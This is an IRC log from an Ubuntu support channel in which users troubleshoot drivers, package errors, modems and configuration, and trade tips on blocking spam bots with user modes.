Dreamer3intelikey: mostly i was just asking the repurcussions of ditching udev earlier06:13
Dreamer3lately seems like things i do in linux are harder06:13
pepemy volume meter bounces around happily whenever I play a sound file06:14
bimberipepe: btw, don't forget to remove that "acpi_irq_isa=7" kernel option if it didn't work for you06:14
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pepebut I'm getting no output06:14
net_benjodoes someone know how to get a city code for Toronto, ON from the weather.com website?????i've just spent 30 min looking for the darn thing06:14
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pepeah yes06:14
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pepewhere was that again?...06:14
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dasreichHi06:14
carthikdreamie, there is totem and there is gmplayer06:14
kelly_can somebody look up...my scanmodem data... http://pastebin.com/349776 i can not pin point what is model..type or model... please..06:14
bimberipepe: /boot/grub/menu.lst06:14
pepethanks06:14
kelly_im newbee...06:14
dreamiecarthik, talking to me?06:15
intelikeymajor repercutions are no hotplug   and possably having to use 'sudo mount /blah '  a lot more.06:15
dasreichi just installed ubuntu and I enter my login/password and it hangs and i can move the mouse, anyone know whats up?06:15
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kelly_can somebody look up...my scanmodem data... http://pastebin.com/349776 i can not pin point what is model..type or model... please.. im newbee....06:15
net_benjoanybody?? how do you find a code for your city for iWeather gdesklet???06:15
blrichcan somone help? i can't get my onboard graphics card to be recognised by X06:15
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Dreamer3yeah!06:15
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Dreamer3my first DSL works :)06:15
Dreamer3almost06:15
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blrichI have a gigabyte k8vm800m via chipset mobo, but the graphics isn't recognised by anything06:16
pufflunitik: Well, so reinstalling the linux-image package fixed the wireless module... until I suspended to disk and resumed, and it was back.06:16
carthikdreamie, you asked about dvd players, and i used your name/nick so yes i was talking to you, indeed06:16
lunitikDreamer3, you're hosting a pppoe?06:16
dreamiecarthik, how do i get those? i tried to apt-get install them but it doesnt work06:16
Dreamer3lunitik: no, building a package for damnsmall linux :)06:16
blrichcan anyone help me?06:16
carthikdasreich,  sounds like a bad x.org set up....06:16
puffReinstalling and rebooting again fixed it, then tested suspend-to-disk and resumed, problem's back. Reinstalled and rebooted, wireless is back and I got back online to ask for help :-(06:16
pepehmmm06:16
lunitikDreamer3, ohhh... you're leaving us?06:16
pepemaybe I should just try reinstalling the whole system?.....06:17
carthikdreamie, refer to http://ubuntuguide.org for step by step instructions.... ubuntuguide just has the instructions though.. things might still be unavailable etc... be forewarned :)06:17
dasreichcarthik: how do I change this though I mean it didn't prompt me to really do anything06:17
Dragon513I"m getting errors from running :fgl_glxgears"06:17
net_benjodoes anybody know how to find your city code for iWeather gdesklet, if you don't livein US????06:17
lunitikpepe, no harm in trying... chances are it'll work after...06:17
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NoUse!ubuntuguide06:17
ubotuubuntuguide is, like, a set of instructions with no explanation. Please do not advise people to use ubuntuguide.  Advise https://wiki.ubuntu.com instead. The official FAQ Guide will be released with Breezy, stay tuned.06:17
depraveanyone have success installing scribus 1.3 on ubuntu hoary-hedgehog yet?06:17
Dreamer3lunitik: hardly :)06:17
lunitikDreamer3, kgood  :)06:17
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Dreamer3lunitik: different distros for different purposes :)06:17
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net_benjoiweather gdesklet? where is my city code located???????06:18
dasreichdreamer3: which is best if I don't know wtf im doing in linux but i want to play games?06:18
lunitikDreamer3, hehe... I never got that concept... I just customize one distro for everything  :)06:18
Madpilotnet_benjo: most of the world should be in the weather thing - search for your local airport06:18
lunitikdasreich, haha... SUSE comes with a lot of games... and is very easy to work with...06:18
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intelikeykelly_  Modem: Silicon Integrated Systems [SiS]  AC'97 Modem06:18
net_benjoMadpilot; thanks..i'll try that...06:18
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lineagepaulproteus|lapt, i made it! thanks man!06:18
dasreichno i mean like halflife2 i want to play halflife206:18
dasreichin linux06:19
lunitikdasreich, if you're really into gaming though... should just stick to Windows.... it is by far the best gaming platform...06:19
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Dreamer3dasreich: no idea, i do'nt play games06:19
lineagei am installing right now hl206:19
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Dreamer3lunitik: well, try, but some distros are closer to certain purposes than others...06:19
kelly_intelikey: thanks! does ubuntu support this?06:19
Dreamer3lunitik: as long as it's debian i'm in ;-)06:19
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lunitikDreamer3, ;)06:19
carthikdasreich, you can a) restart the x.org xserver by doing a ctrl+alt+backspace and see if that fixes it... else switch a prompt (ctrl+f1) and then do a dpkg-reconfigure xserver-xorg  to reconfigure the xserver after noting down the values for the refresh rates etc for the monitor...06:19
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lunitikDreamer3, there is a certain convenience with starting closer to where you want to be  ;)06:20
bytefoogod i'm done06:20
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carthikdasreich, if you know what monitor it is, searching on google for the monitor name + ubuntu might be of some help too06:20
bytefoodumb :|06:20
dasreichcarthik: no keys actually work06:20
bytefooi spent all day wondering why my wireless didn't work after I fixed everything up06:20
lunitikDreamer3, damnsmall linux is a debian too?06:20
dasreichoh?06:20
bytefooand i just realized its because i'm using a different kernel :|06:20
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masterlokilunitik, GOD DAM IT I GOT IT06:20
net_benjoMadpilot: I found a code for toronto, but it doesnt work.......gdeskelt needs a different code06:20
dasreichthanks06:20
lunitikmasterloki, enlighten pepe then please  :)06:20
keithi need a lot of help wit hteh synaptic package finder06:21
keithanythign i try to install from it or sudo apt-get install returns the same error06:21
dasreichI actually tried to boot in ubuntu live and it didnt work06:21
keithE: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline06:21
masterlokilunitik, odd solution but I have sound now06:21
dasreichalso06:21
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keithi really need to install more stuff as i just reformatted but cant get around this problem06:21
lunitikmasterloki, I'm sure thats all pepe will care about also  :)06:21
masterlokipepe, I have it06:21
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masterlokipepe, do you read/speak spanish06:21
masterlokipepe, ??06:22
keithand y are the spammers so bad here now?06:22
lunitikmasterloki, guess he doesn't want it that bad...06:22
intelikeykelly_ no but you can go back to http://pastebin.com/349776 and save lines 53 - 88 and read them.06:22
lunitikmasterloki, use tab... he just left though06:22
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Madpilotnet_benjo: I don't use gdesklets, but the stock gnome weather thing (gWeather, I think) has lots and lots of Canadian weather stations06:22
lunitikmasterloki, just type like 3 chars... then hit tab key... and voila, it autocompletes  :)06:22
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masterlokilunitik, he is gone06:22
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intelikeykelly_ best advice go to ebay and find a good hardware/fax modem  and install it.06:22
masterlokilunitik, do you read spanish??06:23
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lineagearea51@mark:~/Desktop$ For language 'pt' several language ids were found:06:23
lineagept_BR - 0416; pt_PT - 0816;06:23
lineageInstead of using first in the list, suggest to define06:23
lineageyour LANG environment variable like this: LANG=pt_BR06:23
net_benjoMadpilot: thanks..i know aobut gweather...however iweather looks very very nice...and it does not use the same kind of input as gwweather06:23
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dasreichHey I figured it out, it actually freezes up like after 30 seconds with the mouse still available to work, i clicked on session and it crapped on me but i can still move the mouse around06:23
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lineagehow can i change this ?06:23
lineagearea51@mark:~/Desktop$ For language 'pt' several language ids were found:06:23
lineagept_BR - 0416; pt_PT - 0816;06:23
lineageInstead of using first in the list, suggest to define06:23
lineageyour LANG environment variable like this: LANG=pt_BR06:23
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masterlokiintelikey, do you read spanish??06:23
gpdwhile booting I get /dev/xxx not found... then i have to mount -a ???06:23
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intelikeyno06:23
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kelly_intelikey: i have installed ubuntu in laptop... so..it would be good if i can install this kind of modem...what you think? can it be done?06:24
dasreichyour guys robots are really annoying06:24
lunitikmasterloki: what you say?06:24
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masterlokiintelikey, Well I have to put an english version of this link06:24
masterlokihttp://www.ubuntu-es.org/node/687806:24
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Dr_Williswow - i see the spam bots are still about. :(06:24
pprince_girlfriend say!06:24
Dr_Williswhat was that umode setting again - i forget.06:24
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pprince_Dr_Willis: topic06:24
Dr_Willisthere we go. :P i need to learn how to auto-set that06:25
dasreichi think i found an error in ubuntu06:25
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intelikeyyes there are many good hardware modems that can be used in laptops. kelly_ linux can use any hardware modem06:25
frogtone25hey someone one named KiDXe is spamming on here06:25
frogtone25thought i would let you guys know06:25
Dr_Willisfrogtone25,  /umode +CE06:25
Dr_Willis:P06:25
lunitikhmm... it doesn't appear to be... anyone know how to get XChat to auto complete correctly? (ie, if I type 'd' it would return dasreich because he was the last username starting with d to say anything...06:25
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douglas I'm trying to compile ogre3d and I found a guide for ubuntu/kubuntu, but now I'm to the point where I'm running ./configure and it keeps giving me this error http://rafb.net/paste/results/ksmu1H85.html ... Can someone help, I don't know what they mean?06:26
naliothfrogtone25: see /topic06:26
lunitik)06:26
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intelikeyfrogtone25 read the topic please06:26
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Dr_Willisspam about the spam! :p06:26
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Dr_Williswhat is this Dalnet? heh heh.06:26
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lunitikDr_Willis: great idea  :)06:26
intelikeylol06:26
lunitikDr_Willis: looks like its getting close  :(06:26
kelly_intelikey: so you mean..this can be done? i can install this internal modem of my laptop?06:26
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lunitikDr_Willis: lilo is working on something to try to limit this crap though...06:26
dasreichhow do I boot ubuntu into graphical mode with a standard video driver and stuff?06:26
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paulproteus|laptlineage: It said you had permissions problems.06:27
lunitikdasreich: this is default action... if you mean 'how do I get a graphical installer' you don't06:27
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paulproteus|laptchown changes the ownership of files to you.06:27
dasreichno no no how do i go to safe mode06:27
dasreichor equivalent06:28
Dr_Willislunitik,  i wish him the best of luck. when on dalnet - i just ended up blocking all msgs from everyone sadly,.06:28
intelikeyi don't know what interface you plan to use but kelly_ yes,  a hardware modem that will plug into the computer you want to use it on will work.06:28
dasreichwhen im not loggeed in yet06:28
intelikeydasreich init 106:28
lunitikdasreich: hit ESC during boot as prompted... and choose 'failsafe'...06:28
brettCan someone tell me how I can change thepassword for Sudo?06:28
lunitikDr_Willis: +CE appears to be working for me...06:28
dasreichok i get the main gui screen right, and i click session to change it but when i change it to gui failsafe it freezes06:28
lunitikbrett: its your users password... change your users passwrod06:28
lunitikword06:28
intelikeydasreich init 1  <---- the linux safe mode persi   but that is not what you want....06:29
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Dr_Willislunitik,  yea - that does seem to work.. wonder if the server could just force that to be the default on everyone.06:29
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Madpilot!tell brett about sudo06:29
lunitikDr_Willis: it could... but I'm not sure how willing lilo is to do that...06:29
ksmurfis there a way to unistall the Nvidia driver?06:29
dasreichinit 1, whats the key combo for that?06:29
Carpe_LibertatemHow would I update GAIM through apt-get? sudo apt-get update gaim ?06:29
brettThanks. I'll look into it06:30
lunitikDr_Willis: politely 'approach' lilo about it... see what he says...06:30
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dasreichok wait what do i want06:30
lunitiklilo: hmm... you around?06:30
Dr_Willislol.06:30
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Dr_Willis:P06:30
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Dr_Willisjust get rid of /msg for 3 weeks  see if the bots vanish.06:30
paulproteus|laptCarpe_Libertatem: apt-get install gaim06:30
dabarhi.06:30
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dasreichfuck ubuntu im done with this bullshit06:31
lunitikDr_Willis: nah... but changing the default would be ok imo06:31
dabardasreich: true.06:31
kelly_intelikey: what can you advice how will i go with this...in installing SIS modem?06:31
frogtone25ok what does /umode  +CE and /topic mean anyways] 06:31
lunitikDr_Willis: anything else would reguire a server restart  :|06:31
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Dr_Willisdasreich,  you are saying X freezes?06:31
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dasreichit freezes but i can move the mouse around06:31
dabarfrogtone25: if you type those as your message tio the channel, the bots will stop.06:31
dasreichafter i login06:31
lunitikfrogtone25: the first is usermode... and turns off messages and ctcp's from unregistered users....06:31
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Dr_Willisinteresting.. what sort of machine?06:31
dasreichcustom06:32
dasreichp406:32
lunitikfrogtone25: /topic is a command that tells you... *g* what the channel topic is...06:32
ksmurfis there a way to unistall the Nvidia driver?06:32
intelikeykelly_ i think we have misunderstanding large06:32
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lunitikksmurf: you installed via Synaptic?06:32
frogtone25ok done06:32
dasreichit has dual monitors though but it detects one of them06:32
dasreichgeforce 680006:32
ksmurflunitik... No I'm in breezy and installed through nvidia06:32
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Dr_Willisdasreich,  sounds fairly standard.. I have identical video card. You using the default install drivers/X config for your video card?06:33
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dasreichyeah06:34
lunitikksmurf: then see if they have any intructions on removing :/06:34
Thread-xanyone knows how to fix this problem with ubuntu,, that makes yr keyboard repeat the letters and the mouse flickers. makiing the desktop unusable06:34
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dasreichit didnt prompt me for any driver installs06:34
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ksmurfK... next question .  Is nvidia glx working for breezy yet?06:34
Dr_Willisthere are the 'official' nvidia drivers that may help you out. plus you will get 3d acell and otehr stuff.06:34
keithanyone here? ive tried everything and this problem is still kicking my butt06:34
lunitikksmurf: you really should have waited for breezy to be released... using proprietary hardware on betaware is rarely a good idea...06:34
dabarkeith: we are here, yes.06:34
dabarall the people you see posting, are here.06:35
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dasreichsounds fine but how do i install them if i cant log in?06:35
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ksmurflunitik..... no one said I was smart06:35
bytefoohow can i burn an iso06:35
Dr_Willisboot to the console.06:35
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lunitikkeith: doubtful you've tried everything... what is your issue?06:35
keithwhy do ikeep getting spammed so badly with porn?06:35
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keithat least in this irc channel06:35
dabarDr_Willis: or just alt+ctrl+fNum06:35
lunitikksmurf: hahah  :)06:35
dasreichdamn06:35
Dr_Williscould try installing some alterantive window managers  and try changing to them, to see if its a gnome issue.06:35
keithlunitik, thanks for offering hte help06:35
keithheres my issue06:35
ksmurfkeith read the topic06:35
dasreichI don't know anything about linux06:35
lunitikkeith: /umode +CE06:35
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dabarkeith, that is fixable for the spam.06:36
keithk well heres my current issue06:36
lunitikdasreich: such things needn't be stated... its rather obvious  ;)06:36
Dr_Williswith linux - it pays to read, and learn, and learn how to learn. :P06:36
keithi go into synaptic and go to install something, anything. it started when i went to install sun-jre206:36
dasreichim not talking to you06:36
ksmurflunitik ..... Not bad for a noob huh....06:36
lunitikDr_Willis: mostly the last one... cuz then you don't have to read all the time  :)06:36
keithgimme just a sec ill get the exact error06:36
keiththat popsu p06:36
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keithno matter what i install06:36
dabarok, you have 5..:P06:36
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Dr_Willislunitik,  they all sort of go togeher.. like Pickles and Ice Cream.06:37
Dr_Willis:P06:37
lunitikDr_Willis: reading man pages is a skill  :D06:37
dasreichyeah so i can learn how to set my internet connection up, download the drivers, and install them06:37
lunitikDr_Willis: wait... pickles and icecream?06:37
keithE: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline06:37
Dr_Willislunitik,  :P06:37
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keithand it refuses to install or remove or upgrade ANYTHINg cause of that06:37
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Dr_WillisPickles go with everything!06:37
dabardasreich: its fairly easy to get any internet connection up, other than dial up, and that should be easy too.06:37
lunitikkeith: where did you get that package?06:38
keithwhich package06:38
lunitikkeith: get it from hoary extras06:38
keithi did06:38
lunitikkeith: sun-j2re1.506:38
keithit doesnt matter what i install lunitik06:38
lunitikkeith: strange... worked here...06:38
ksmurfIs nvidia glx working for breezy yet from Synaptic or apt-get??06:38
keithsun-j2re1.506:38
keithor frozen bubbles06:38
dabarkeith: why dont you: /join #flood, then, /exec -o cat /etc/apt/sources.list to start.06:38
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keithok06:38
dabarthe second one is for #flood, not here.06:39
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dasreichhow do i change the driver for the vid card? is there a command?06:39
masterlokilunitik intelikey, keep this link http://ubuntuforums.org/showthread.php?p=324678#post32467806:39
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dabardasreich: read the URL ubotu tells you.06:39
lunitikkeith: it doesn't say anything about an apt command?06:39
Dr_Willis!nvidia06:39
ubotunvidia is, like, totally, at https://wiki.ubuntu.com/BinaryDriverHowto/Nvidia06:39
ksmurfdasreich ... what card06:39
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intelikeykeith sudo rm /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb06:39
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dasreichthanks06:39
dabarwelcome, that should start you.06:40
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lunitikkeith: 'sudo apt-get -f install' (run this on its own)06:40
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keithhold on trying what intel said first06:40
cajunhow can i view Windows Media Player content from webpages on Firefox using ubuntu?06:40
lunitikkeith: may take a while... but should fix it06:40
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keithok intelikey it should work now after doing that?06:40
Dr_Williscajun,  mplayer, or xine can do most of them when set up right.. vlc perhaps can also.06:40
intelikeytry it06:41
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lunitikintelikey: that fixed an issue I had yesturday  :)06:41
NoUsecajun apt-get install mozilla-mplayer06:41
NoUse!mozilla-mplayer06:41
ubotuNoUse: I don't know06:41
NoUse!info mozilla-mplayer06:41
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ubotumozilla-mplayer: (MPlayer-Plugin for Mozilla, Konqueror and OpenOffice.org), section multiverse/misc, is optional. Version: 2.70-1ubuntu1 (hoary), Packaged size: 93 kB, Installed size: 300 kB06:41
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lunitikintelikey: a package marked 'rc' wouldn't go away... even after -P ... and --force-all said it didn't exist... bah06:42
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lunitikintelikey: I don't understand why that works though... you know? or you just know to do it?06:42
keithone sec06:42
keith i think i froze the package manager06:42
keithi got an error again06:42
cajunis freenode.net a spam server or sometrhing?06:42
lunitikkeith: that doesn't help us... tell us the error06:43
keithone sec its frozen06:43
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lunitikcajun: look at the topic...06:43
keithE: /var/cache/apt/archives/sun-j2re1.5_1.5.0+update04_i386.deb:  files list file for package `kmix' is missing final newline06:43
bimberi!spam06:43
ubotu#ubuntu is bein affected by spammers at present. To overcome it please type '/mode *your nickname* +CE' and hit enter06:43
lunitikkeith: apt-get -f install06:43
cajuni ask becuase i have just recieved 3 msgs from bots letting me know where i can view sex cams06:44
NoUsecajun read the topic06:44
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Dr_Williscajun,  Cool! :P06:44
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cajuni read the topic06:44
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cajunit tells me nothing06:44
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Dr_Willisheh - "To prevent spam........"06:44
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cajunok  didn't see that last part06:45
cajunthanks06:45
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Dr_Williswe going to have to set the bot to spam people about the spam? :P06:45
intelikeycajun you're not the only one ..... :)06:45
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dabarDr_Willis: you can set the bots?;O06:45
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Dr_Willisthe topic is so long. part of that msg scrolls past so i dident see it at first.06:45
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keithdoing apt-get -f install now intelikey06:46
Dr_Willisdabar,  im lucky to set my alarm clock. :P06:46
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dabarkeith, there is also http://paste.ubuntulinux.nl to paste.06:46
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Ice9can somebody walk me through how to get 3d acceleration going with my ati radeon 9250?06:47
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Dr_Willis!ati06:48
ubotuati is, like, https://wiki.ubuntu.com/BinaryDriverHowto/ATI06:48
Dr_Willis:P06:48
tritiumnalioth, what's new?06:48
^thehatsrule^:)06:48
Dr_Willisit was fairly trivial last i did it Ice9  - i just followed those docs.06:48
hector_acostaumode +CE06:48
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Ice9Dr_Willis, I've tried that, it seems like I've tried everything06:48
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keithdamn still not working06:48
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omp342hi guys :)06:49
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keithintelikey, what does apt-get -f install do?06:49
Dr_WillisIce9,  bummer. Id had issues with ati and some machines in the past due to Motherboard  and other chipset issues..  last i tried with my ati9700 - it took me just a few min to get it working under Ubuntu. i was amazed06:49
Dr_Willis:P06:49
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intelikeykeith "man apt-get"06:49
keithwait apt-get -f install or man apt-get06:50
keith?06:50
frogtone25type this line into your dialog box, but leave out the ''()", (/umode +CE)06:50
keitho wait nm06:50
keithi get it now06:50
Dr_Willisman man06:50
keithno intelikey i get the same error when i do it that way too06:50
frogtone25and that will get rid of the bots06:50
Dr_Willisfrogtone25,  well it will ignore the bots. :P06:50
intelikeykeith "man man"06:50
Dr_Willisman woman06:50
frogtone25yeah06:50
frogtone25man man06:50
Ether7is there a quick and painless way to send a bunch of files between two linux machines (i have access to root on both machines, and they are on the same lan)?06:50
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Dr_WillisEther7,  scp is designed to do that.06:51
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Dr_Willisfairly quick and painless. :P06:51
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Dr_Willisi alwyas screw up the syntax the first 4 times.06:51
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intelikeyether7 'man rsync '06:51
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Ether7dr_willis well i've been trying that for a while now, but i cant get the rsa keypairs to work correctly.. (?)06:51
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Dr_WillisHmm i thought they could auto-add the keys some how.. I forget now.06:52
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Ether7dr: i'm not that familiar with ssh though so it probably me06:52
Dr_Willisssh - is one of those tools tahts well worth spending the time to learn all the ins and outs of.06:52
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Dr_Willisits soo handy in so many ways.06:52
dabarintelikey: what do you mean, man man...:-/06:52
Dr_Willis'man man' would show the man pages for the 'man' command.06:53
intelikeytype that in a terminal   'man man'06:53
Dr_Willis:P like reading a book on how to read.06:53
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MrDaBombI'm having problems with runit - specifically somehow I've got /var/service trying to be run, and it can't, getting "supervise/lock": http://rafb.net/paste/results/anNDUy74.html Anyone have any ideas?06:53
Ice9I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff06:53
intelikeycatuall more like reading a book on how to open another book and turn the pages of it.06:54
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dionysusis anyone able to tell me what gamin/gam_server is, and why it's keeping my CD tied up (according to lsof) so I can't umount/eject it?06:56
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Ice9I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff06:57
intelikeyme has began to firmly believe that all installers should open with "man man" and have an exit code that you must type to escape that man page.  (the code line about 2/3 of the way down....)06:57
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lunitikintelikey: you've lived in #debian too long, my friend  ;)06:58
Dr_Willislol..06:58
intelikeyone week06:58
intelikey?06:58
Dr_Willisa "test" one must pass befor the installer will continue...06:58
lunitikintelikey: that'll do it06:58
intelikeylol06:58
Dr_Willisshow the docs..  quiz the user afterwards.06:58
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simon^can help me06:59
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simon^how to disable this line06:59
simon^You are connected through proxy : 1.106:59
simon^(squid/2.5.STABLE1) at06:59
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Dr_Willishumans run  a kernel? wow.06:59
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Dr_Willis:P06:59
simon^?07:00
simon^anyone'07:00
Dr_WillisNothing like catchy marketing terms. :P07:00
Carpe_LibertatemHow do I cd to a directory with a space in it?07:00
Dr_Willissimon^,  where are ya getting that from ?07:00
depravecd "name here"07:00
Dr_Williscd "foo bar"07:00
Carpe_Libertatemah07:00
Carpe_Libertatemok07:00
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dionysusCarpe_Libertatem, use '\' to escape the space07:00
Dr_Williscd "wow                                            man"07:00
Dr_Willis:P07:00
dionysusor wrapping '"' 's I guess heh :)07:00
Dr_Willisor use single quotes '   '07:00
lunitikDr_Willis: Linux is not known to be a kernel in the mainstream...07:00
simon^Dr_Willis i'm test my proxy and connect to proxyblind.org07:00
simon^how to remove that line07:00
Dr_Willislunitik,  ive had to explain to dozens of peopel that linux is NOT a company :P they cant seem to understand it.07:01
simon^i mean to hidden my squid from tha07:01
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lunitikDr_Willis: look at all the 'Linux vs Windows' stuff online... very warped reality...07:01
Dr_Willissimon^,  proberly can tell the proxy server to not give out that info.07:01
Dr_Willislunitik,  yea  :P OS wars are always warped.07:01
intelikeylunitik that's an interesting way to look at it.      seems a monkey not being able to read could not then install ubunu so it would be more "for human beings" than ever.   now  any chimp or chump can install it.  they just cant run it.....07:01
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simon^lol07:02
simon^how to set squid.conf for that ?07:02
lunitikintelikey: grrr... seriously... pkill -9 debianized_thinking  :|07:02
simon^can anyone help me07:02
lunitikintelikey: Debian is for zealots07:03
intelikeyseriously it is mdk'ized think i guess....07:03
Ice9I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff07:03
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Dr_Williswell read the conf file would be a start simon^  :P and the squid docs perhaps. since thats what id have to do ti answer you. Lol.07:03
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Dr_Willisit may be some very well commented section/option.07:03
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lunitikintelikey: please refrain from disrespecting any distro... especially not one that hires a substantial amount of open source developers... thanks07:04
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simon^Thanks for your help Dr_Willis07:04
Dr_Willisim checking my system at that proxy site you posted Lol. :P07:04
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chrismyyo yall07:04
dabarheya07:04
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chrismyhow are  you dabar:D07:04
intelikeylunitik take a powder.    i didn't disrespect any thing.07:04
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dabarall right. I have an issue, and its not ubuntu related, and I dont have anyone atm to talk about that to.07:05
DjKriticalDoes it matter which order you istall winee and nvidia drivers?07:05
chrismydabar: what is that issue of yours?07:05
dabarDjKritical: not really.07:05
lunitikintelikey: you insinuated that Mandriva is for morons... guess what? Mandriva and Ubuntu target the same audiance...07:05
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dabarchrismy: join #ubuntu-offtopic, Ill tell you.07:05
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chrismy:O mandriva is for morons?????????07:06
dabarwhy is that chrismy?07:06
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DjKriticalwin32 is for morons :p07:06
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Dr_WillisPaying Tax's is for Morons. :P07:06
intelikey<lunitik> intelikey: you insinuated that Mandriva is for morons... <--- wrong  i said my thinking was based on mdk not deb now get a grip.07:06
Dr_Willisbut  i perfer to stay out of Jail.07:06
tritiumno need for all that, guys...07:06
lunitikDr_Willis: + people that dislike federal prison   ;)07:06
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DjKriticalYou can't go to prison over here for not paying taxes :D07:07
lunitikDjKritical: over where?07:07
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DjKriticalNew Zealand07:07
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rob^fish and chips07:08
DjKriticalUnless it's Tax Evasion07:08
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lunitikDjKritical: Tax Evasion = Not Paying Taxes07:08
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Luna-TickA lunitik? How... odd07:08
black_13does ubuntu have cdebootstrap07:08
Dr_Willislunitik,  iseent that where they raise lots and lots of sheep? :P07:09
benplauttesting to see if spambot responds to my typing... 1234...07:09
lunitikLuna-Tick: you copied my idea  :|07:09
Luna-TickI doubt that, somehow...07:09
Luna-TickI started using this at 1207:09
Luna-Tick:D07:09
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Luna-TickAnd BTW, there aren't *that* many sheep in NZ ;)07:09
DjKriticalLuna-Tick, over here there is a difference between not being able to pay your tax and trying to lie about how much you owe07:09
lunitikLuna-Tick: about 4 years of use here... although, mine is after a Luniz (RE: "I got five on it") CD...07:10
DjKriticalOne is tax-evasion and the other is debt collection07:10
Dr_Willislol.07:10
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Dr_WillisLamb - the Other Yellow Meat!07:10
Luna-TickI'm trying to figure how tax evasion became the topic in an Ubuntu room...07:10
intelikeyblack_13 yes07:10
Dr_WillisLuna-Tick,  everyone needs a Hobby.07:11
lunitikLuna-Tick: we all are... heh... he meant to send that to me though  ;)07:11
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black_13intelikey good07:11
Luna-TickTax evasion... what a hobby...07:11
black_13hobby of the rich07:11
black_13intelikey have you used it ?07:12
intelikeyblack_13 remember this command  "apt-cache search <name>"  you can check things like that for your self07:12
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Luna-TickNo no no..07:12
intelikeyblack_13 no07:12
Luna-TickTax evasion is illegal - it is 'tax minimisation' ;)07:12
dionysusanyone have any idea what gam/gam_server is, or why it keeps grabbing my CD drive, preventing me from umounting/ejecting, or why it keeps respawning when i kill it?07:12
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black_13intelikey my ubuntu system is occupied in building something07:13
NoUsedionysus its a file monitoring system07:13
intelikeyso you knew how to search  just couldn't atm    k07:13
dionysusNoUse, ah ok....any ideas on how to kill it off permanently so I can actually switch cds :) ?07:13
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black_13partially i know debian had it i didnt know if ubuntu had it07:14
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Luna-TickI have a crazy problem for everyone: I wanted to upgrade to the new beta2 of Openoffice.org so downloaded the new archive, aliened all the rpms, dpkg installed them and everything works fine except for writer - which may as well not be installed. Trying to open writer opens calc, and writer isn't in the 'new' dropdown or anything. The odd thing is that uninstalling that and going back to 122 (which worked fine yesterday) now has the same problem. Any i07:15
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NoUsedionysus doesn't gnome take care of that when you eject the disc through gnome?07:15
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dabarLuna-Tick: there is packages for that in our repos.07:15
Luna-TickWhich repos?07:15
dabar!find openoffice207:16
dabar!ubotu07:16
ubotuThaaat's me! I'm a bot, not a human. I'm sometimes the most coherent poster on #ubuntu! For more, ask me about "add". You can browse my brain on http://ubuntu.cc.com.au/07:16
Luna-TickThat is only a really old version07:16
Ice9I guess I really want to know, how can I get it using the fglrx driver or whatever, when I fglrxinfo, it lists mesa opengl stuff07:16
dionysusNoUse, actually running a bastardized kde-on-ubuntu system, which is probably half my problem i guess :/07:16
ubotuUbuntu Search of 'openoffice2' (1 shown): (/etc/openoffice2) in universe/editors/openoffice.org2-debian-files.07:16
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dabaroh, ok.07:16
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Luna-TickThe version is old and _really_ buggy07:17
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Luna-Tickso I wanted to upgrade it, which worked really well until today.07:17
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intelikeyLuna-Tick possably rm -rf $HOME/.oo* (or what ever the dir is.   and start it without any rc files.07:17
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NoUsedionysus you might try removing it07:17
NoUsedionysus idk07:17
Juhazgnome doesn't really take care of it anyway, gam just doesn't use the mointoring method that requires open files for the mountpoints of /media07:17
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black_13intelikey so far all i see are configs for hoary or warty on sid etch so forth07:18
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dionysusNoUse, hmm....apt-get removing gamin will take a little over half my system with it :/ think I'll pass07:18
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Luna-Tickintelikey - I did complete removals in between the installs07:19
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dionysusNoUse, ah well....been meaning to install a proper kubuntu system anyhow, guess I'll just wait a couple more weeks till my internet quota is reset and do that :/07:19
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chrismyhey who remembers me?07:19
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HrdwrBoBnobody07:19
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lunitikchrismy: everyone... you were only here about 2 minutes ago07:19
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chrismyhow come?07:20
HrdwrBoBpossibly07:20
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cafuegonot me!07:20
chrismylunitik: no i was talking to you since 5 hours ago!07:20
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chrismylunitik: remember about the windows and linux boot?07:20
chrismywas me! was me!!:P07:20
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cafuegoIs there a decent CMS with javascripty built-in wysiwyg editor?07:22
naliothcafuego: none of the nice ones available work?07:23
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cafuegonalioth: Which nice ones are you referring to?07:23
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x55has anyone ran winamp5 through wine?07:23
benplauthmm... tabbing is really borked in the latest breezy OO.org07:23
cafuegox55: No sane person, I should think.07:23
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x55haha...can it be done?07:23
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freddyhello!!07:24
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dabarhi.07:24
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freddywhats up07:24
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naliothcafuego: i have no clue, (forgot i use text-mode html editors)07:24
freddynalioth, !!07:25
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syn-ackWhat the fsck? Im getting spamflooded all sorts... You guys wernt lying07:25
freddyist_24p07:25
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cafuegonalioth: Oh there's a few nice ones that work, but I'd prefer to 1) Not have the users whine at me and 2) Not have to modify an existing CMS07:25
freddybad bad07:25
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benplautsyn-ack, yeah, got me a few mintues ago07:25
Madpilotsyn-ack: see the topic for how to stop the spam07:26
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domsterMadpilot, I understand the +E, but what's the +C?07:26
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cafuegodomster: ctcp07:26
naliothfreddy!07:26
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domsterah07:26
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freddynalioth, how are you this days?07:27
tritiumhttp://freenode.net/using_the_network.shtml07:27
naliothcafuego: theere ya go with the big words again (or is it confusing TLAs?)07:27
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naliothfreddy: keepin em one step in front ot t'other07:27
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cafuegonalioth: Content Management System07:27
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Carpe_Libertatem!ntfs07:28
ubotuwell, ntfs is the (N)(T) (F)ile(S)ystem, the filesystem normally used under Windows XP.  To automatically mount your NTFS partition/s, you can use this utility: http://www.ubuntulinux.nl/files/winmac_fstab . It handles HFS+, NTFS and FAT32 partitions.07:28
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cafuegonalioth: tempkate engine for a website, basically07:28
naliothcafuego: ah. ok07:28
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cafuegodrupal is nice, but a tad too basic07:28
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freddynalioth, lol07:28
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black_13build the kernel the command is make-kpkg --append-to-version=... kernel_image ... where created deb file end up?07:28
brettI did a network install of Ubuntu, and use a stupidly long passwd. How can I change the sudo passwd?07:28
carthik!ubotu07:29
ubotuThaaat's me! I'm a bot, not a human. I'm sometimes the most coherent poster on #ubuntu! For more, ask me about "add". You can browse my brain on http://ubuntu.cc.com.au/07:29
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brettMy accountpasswd is different from the Sudo passwd07:29
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freddyok...the only thing i find boring about ubuntu is....that it runs so perfect..that suddenly you have nothing to do :( nothing to fix...nadda07:29
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cafuegobrett: that's a REALLY special.07:29
cafuegobrett: How did you manage that?07:29
